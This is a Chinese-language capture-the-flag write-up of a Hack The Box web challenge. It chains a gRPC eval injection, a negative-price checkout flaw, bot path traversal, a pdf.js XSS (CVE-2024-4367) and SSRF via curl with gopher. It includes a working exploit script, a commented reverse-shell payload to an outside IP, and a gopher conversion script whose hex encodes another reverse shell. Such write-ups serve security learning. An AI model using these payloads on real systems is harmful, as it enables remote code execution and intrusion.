Hack the Box 靶场练习-INSANE-ArtificialUniversity

ArtificialUniversity是Hack The Box上INSANE难度Chanllenges的web题,它模拟了在线教育平台购买课程的商城模块,项目源码分为grpc开启的product_api服务和flask开启的store商城web两个部分,题目对外只开放了web端口,推测要在web找到去触发grpc机制的点来完成题目,最后的rce应该是在grpc端。因此本地搭建环境后先分析api部分。  

image.png

GRPC

在api.py中的GenerateProduct调用了eval函数,而全文只有GetNewProducts这个对外的函数调用了GenerateProduct函数,如果找到可以控制price_formula参数的方法再调用GetNewProducts即可命令执行。  

image.png
在api.py中还有一个UpdateService函数根据传入的字典可修改键值对属性,其被对外函数DebugService调用。
image.png
而DebugService的作用是接收客户端传来的参数然后调用UpdateService。
image.png
因此可构造利用链,先调用DebugService修改"price_formula"为要执行的命令,然后调用GetNewProducts 来触发 eval,在deepseek的帮助下完成如下exp。通过项目自带的proto文件生成grpc模块命令是:
python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. product.proto

import grpc  
import product_pb2  
import product_pb2_grpc  
from google.protobuf.struct_pb2 import Struct  
  
def exploit():  
    # 连接到 gRPC 服务  
    channel = grpc.insecure_channel('127.0.0.1:50051')  # 替换为目标服务地址  
    stub = product_pb2_grpc.ProductServiceStub(channel)  
  
    # 构造恶意请求,设置 price_formula 为命令执行代码  
    merge_request = product_pb2.MergeRequest()  
    merge_request.input['price_formula'].string_value = "__import__('os').system('touch /tmp/pwn')"  
  
    # 利用原生python反弹shell  
    # merge_request.input['price_formula'].string_value = '''__import__('os').system('python3 -c \\'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1",4242));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")\\'')'''  
  
  
    # 调用 DebugService 接口,传入恶意的 MergeRequest  
    print("[*] Sending malicious DebugService request...")  
    stub.DebugService(merge_request)  
  
    # 调用 GetNewProducts 来触发 eval 执行命令  
    print("[*] Triggering GenerateProduct to execute the payload...")  
    response = stub.GetNewProducts(product_pb2.Empty())  
    print("Response received:", response)  
  
if __name__ == "__main__":  
    exploit()  

在本地环境命令执行复现成功后,需要考虑的如何在web端利用这样的exp

WEB

找寻注入、上传等漏洞无果后开始逐一分析ruotes.py下的各个接口。其中/admin/xxxx均是需要admin账号登录才能访问的内容。

/checkout/success

在尝试找越权漏洞时发现/checkout/success接口发现一处可疑操作,可以看到前面的判断符号条件后会自动传入admin的账号和密码去调用bot_runner函数。
image.png
跟入bot_runner函数,其作用是模拟客户端通过firefox浏览器访问获取支付订单生成的pdf,但payment_id是可控的因此当payment_id是…/…/…/…/…/…/admin/xxx时其过程就是firefox以admin的身份访问http://127.0.0.1:1337/admin/xxx.pdf,因为是模拟的浏览器操作再加上#作为片段标识符"…/…/…/…/…/…/admin/xxx#"浏览器会截断后面的内容,以此实现admin身份触发http://127.0.0.1:1337/admin/xxx接口的内容。
image.png
但现在还有个问题要触发bot_runner函数,需要先满足前面的条件if amt_paid >= order.price,否则会直接跳转error.html,而通读全文可知amt_paid的值是0无法改动,也就是说只有传入的订单价格需要为负数才可满足此条件。接下来需要考虑的就是怎么创建一个price小于0的订单。

/checkout

来到创建订单的接口/checkout可以看到有很奇怪的逻辑,当我们传入product_id,会进入if product_id:语句的代码段直接生成默认的订单信息,传入price等参数不会对订单产生任何影响,但是当我们传入的参数没有product_id但是包括price等另外四个完整的参数时会使得if product_id and not session.get(“loggedin”)结果为false,从而跳过登录验证直接执行后续的代码(但因为传递的参数有一个user_id所以这个绕过登录验证没有什么实际意义,为后续方便得到order_id还是建议登录后进行接下来的操作),而if not product_id and (not price or not title or not user_id or not email):这整条判断语句的结果也会是false使得程序继续往后运行,因为没有prodct_id判断语句if product_id:会执行else的分支语句从而创建一个由用户控制内容的订单。
image.png
用户可以据此创建一个price为负数的订单。
image.png
登录后访问/subs接口去获取创建price为负数的订单的order_id。
image.png
结合前面的/checkout/success接口,可实现访问admin接口的完整利用/checkout/success?order_id=6&payment_id=…/…/…/…/…/admin/xxx,但是这个利用特别受限,只能像目标接口发送get请求,而且整个过程是服务器上通过firefox访问的也无法看到反馈。接下来要做的就是找/admin相关的接口找到可利用的点。

/admin/view-pdf

在admin的接口下找到一个view-pdf接口。这个接口可以实现根据url参数预览目标pdf内容。  

image.png
在本地测试这个接口(考虑靶场是否出网情况也要在靶场上测试,发现可以让靶机访问到vps放的pdf)。
image.png
其实到此处已经束手无策了,仅有一个访问pdf的功能,其它接口也因为只能传入GET请求而难以利用,在查询资料时找到f1yth1ef师傅提供的一个思路。可以利用在一个名为pdf.js的xss漏洞,我们可以构造一个自动跳转目标路径并携带post内容的payload,而服务器在模拟firefox打开这个pdf时就可以实现发送post请求访问/admin其它接口。

/admin/api-health

以post请求api-health接口服务器会调用get_url_status_code函数。  

image.png
跟入get_url_status_code函数,其功能是利用subprocess模块模拟终端使用curl发送请求。
image.png
根据f1yth1ef师傅的思路我们可以将前面grpc的请求转换成gopher协议的操作即可被curl发送的类似ssrf打内网redis的利用链。接下来需要做的就是将分析grpc部分构造的exp转换成gopher协议。

gopher转换

首先在本地运行api.py,用wireshark捕获exp执行过程。打开tcp流复制请求部分的raw数据。  

image.png
将下面这个转换脚本中的raw_hex部分替换为复制的raw数据并运行

import binascii  
import urllib.parse  
  
def hex_to_gopher(hex_str: str) -> str:  
    """直接转换纯Hex字符串到gopher URL"""  
    # 清理非Hex字符  
    cleaned = hex_str.replace(" ", "").replace("\n", "").strip()  
  
    # 验证Hex长度  
    if len(cleaned) % 2 != 0:  
        raise ValueError("无效的Hex长度")  
  
    try:  
        binary = binascii.unhexlify(cleaned)  
    except binascii.Error as e:  
        raise ValueError(f"Hex解码失败: {str(e)}")  
  
    # 基础协议验证  
    if not binary.startswith(b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'):  
        raise ValueError("无效的HTTP/2魔术字节")  
  
    # 生成gopher URL  
    encoded = urllib.parse.quote(binary, safe='')  
    return f"gopher://127.0.0.1:50051/_{encoded}"  
  
# 输入数据(已清理的连续Hex)  
raw_hex = """  
505249202a20485454502f322e300d0a0d0a534d0d0a0d0a000024040000000000000200000000000300000000000400400000000500400000000600004000fe0300000001000004080000000000003f0001  
000000040100000000  
0000e101040000000140053a70617468242f70726f647563742e50726f64756374536572766963652f446562756753657276696365400a3a617574686f726974790f6c6f63616c686f73743a35303035318386400c636f6e74656e742d74797065106170706c69636174696f6e2f677270634002746508747261696c6572734014677270632d6163636570742d656e636f64696e67176964656e746974792c206465666c6174652c20677a6970400a757365722d6167656e7430677270632d707974686f6e2f312e37302e3020677270632d632f34352e302e3020286c696e75783b2063687474703229000004080000000001000000050000ce00010000000100000000c90ac6010a0d70726963655f666f726d756c6112b4010ab1015f5f696d706f72745f5f28276f7327292e73797374656d2827707974686f6e33202d63205c27696d706f727420736f636b65742c6f732c7074793b733d736f636b65742e736f636b657428293b732e636f6e6e6563742828223137322e31372e302e31222c3637363729293b5b6f732e6475703228732e66696c656e6f28292c66642920666f7220666420696e2028302c312c32295d3b7074792e737061776e28222f62696e2f6261736822295c27272900000408000000000000000005  
0000080601000000002c20317a14a3fad2  
000008060000000000deac00f8ef07f63c  
00003501040000000340053a70617468262f70726f647563742e50726f64756374536572766963652f4765744e657750726f6475637473c38386c2c1c0bf00000408000000000300000005000005000100000003000000000000000408000000000000000005  
00000806010000000049be420c8749b031  
"""  
  
try:  
    # 生成URL  
    gopher_url = hex_to_gopher(raw_hex)  
  
    print("成功生成gopher URL:")  
    print(gopher_url)  
  
except ValueError as e:  
    print("错误:", str(e))  

得到gohper的数据  

image.png
先在本地测试一下直接用curl命令能否执行exp中的touch /tmp/pwn命令。可能是粘包、服务器响应等问题,在运行多次curl命令发送payload后才能成功执行touch命令。
image.png
至此所需的利用条件已全部找到。

完整利用

首先用wireshark捕获通过exp反弹shell的请求,复制其raw数据,通过gopher转换脚本得到payload。  

然后通过CVE-2024-4367漏洞制作一个可自动跳转至/admin/api-health并携带cookie和post内容为url=gopher://…请求的pdf,关键payload如下所示。
image.png
将pdf放在可被靶场访问的vps上并开启web服务。
image.png
另起一个终端开启nc监听,等待后续操作后反弹shell。
image.png
不带product_id参数触发/checkout的逻辑漏洞创建一个price为负数的订单
image.png
然后访问checkout/success使用携带price为负数的订单id去访问/admin/view-pdf接口使服务器访问pdf触发xss跳转执行payload。
image.png
反弹shell得到flag。
image.png

参考链接

https://www.freebuf.com/articles/web/410492.html
https://cloud.tencent.com/developer/article/2420071

本文转自 https://mp.weixin.qq.com/s?__biz=MzA3MjQ1Mzk1MA==&mid=2247636512&idx=8&sn=15697039931de653c302b83eccea18b9&chksm=9f128c71a8650567339b932697cf11c9dd6998632e32734dc7b35e5bdaf49fc5c9de92074a0b&token=280401145&lang=zh_CN#rd,如有侵权,请联系删除。## 网络安全工程师(白帽子)企业级学习路线

第一阶段:安全基础(入门)

img

第二阶段:Web渗透(初级网安工程师)

img

第三阶段:进阶部分(中级网络安全工程师)

img

请添加图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值